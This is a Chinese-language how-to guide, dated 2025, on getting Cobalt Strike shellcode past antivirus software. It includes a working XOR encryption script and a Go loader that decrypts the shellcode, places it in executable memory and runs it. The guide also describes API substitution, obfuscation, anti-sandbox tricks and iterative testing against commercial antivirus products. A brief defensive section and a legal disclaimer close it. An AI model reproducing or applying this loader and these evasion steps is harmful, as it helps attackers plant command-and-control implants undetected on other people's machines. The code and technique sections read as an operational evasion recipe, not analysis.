CS免杀如何从0到1
字数 1488 2025-09-04 23:22:12
CS免杀从0到1实战指南
1. 免杀基础概念
免杀技术(Anti-Virus Evasion)是指通过各种手段使恶意程序绕过杀毒软件的检测。在Cobalt Strike(CS)中,免杀通常由两部分组成:
- Loader(加载器):负责在内存中加载和执行恶意代码
- Shellcode:实际执行的恶意代码,通常是CS的上线指令
2. Loader核心原理
Loader的核心功能步骤:
- 读取Shellcode:获取加密或混淆的shellcode
- 分配内存:在当前进程中申请可读、可写、可执行(RWX)的内存空间
- 复制Shellcode:将shellcode复制到新分配的内存中
- 执行Shellcode:通过线程或其他方式跳转到内存起始地址执行
3. Loader实现技术
3.1 基础API实现
传统实现方式使用以下Windows API:
VirtualAlloc:分配内存RtlMoveMemory:复制内存CreateThread:创建执行线程
问题:这些API已被杀软标记为高危特征
3.2 替代API方案
使用较少见的API实现相同功能:
- 内存分配替代:
NtAllocateVirtualMemory - 内存复制替代:
RtlCopyMemory - 线程执行替代:
QueueUserAPC+NtTestAlert组合
3.3 代码混淆技术
- 函数名混淆:使用随机生成的函数名替代标准API名称
- 无用代码插入:添加不影响功能的冗余代码
- 变量名随机化:避免使用有意义的变量名
4. Shellcode处理技术
4.1 Shellcode生成
使用CS 4.9生成raw格式的shellcode(该版本具有一定免杀性)
4.2 Shellcode加密
常用加密方式:
- 异或加密:简单高效,易于实现
- AES加密:安全性更高但实现复杂
- 自定义加密算法:特征更少但开发成本高
4.3 文件分离技术
将加密的shellcode存储在单独文件中,运行时由loader读取解密执行
5. 完整免杀实现流程
5.1 准备工作
- 生成CS的raw格式shellcode
- 准备加密脚本(如异或加密)
5.2 加密Shellcode
使用异或加密示例:
# 异或加密脚本
key = 0xAA # 自定义密钥
with open('shellcode.bin', 'rb') as f:
data = f.read()
encrypted = bytes([b ^ key for b in data])
with open('encrypted.bin', 'wb') as f:
f.write(encrypted)
5.3 Loader实现
Go语言实现示例(关键部分):
package main
import (
"io/ioutil"
"syscall"
"unsafe"
)
func main() {
// 1. 读取加密的shellcode
encrypted, _ := ioutil.ReadFile("encrypted.bin")
// 2. 解密shellcode(异或)
key := byte(0xAA)
shellcode := make([]byte, len(encrypted))
for i := 0; i < len(encrypted); i++ {
shellcode[i] = encrypted[i] ^ key
}
// 3. 分配内存
kernel32 := syscall.NewLazyDLL("kernel32.dll")
ntdll := syscall.NewLazyDLL("ntdll.dll")
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), 0x1000|0x2000, 0x40)
// 4. 复制shellcode到内存
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
RtlCopyMemory.Call(addr, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
// 5. 执行shellcode
syscall.Syscall(addr, 0, 0, 0, 0)
}
5.4 编译优化
- 使用命令行编译:
go build -ldflags="-s -w" loader.go - 使用UPX等工具压缩(可能增加被杀风险)
- 修改PE头信息混淆
6. 进阶免杀技术
6.1 内存加密技术
- 实时解密:仅解密当前执行的部分代码
- 内存混淆:定期改变内存中的代码布局
6.2 自定义Shellcode
- 修改CS默认的shellcode特征
- 实现分段加载执行
- 添加反调试和反沙箱代码
6.3 API调用混淆
- 动态获取API地址(GetProcAddress)
- 使用syscall直接调用
- 延迟加载关键API
7. 测试与绕过
7.1 静态检测绕过
- 文件扫描测试(Virustotal)
- 特征修改迭代
- 多杀软兼容性测试
7.2 动态检测绕过
- 行为监控测试(火绒、360等)
- 内存扫描对抗
- 执行流混淆
8. 防御措施
- 定期更新杀毒软件特征库
- 启用行为检测和内存保护
- 限制非必要的高危API调用
- 实施应用程序白名单
9. 参考资源
- Loader技术详解
- Shellcode免杀进阶
- Windows API官方文档
10. 法律声明
本文仅用于安全研究和技术学习目的,请勿用于非法用途。未经授权对他人计算机系统进行测试属于违法行为。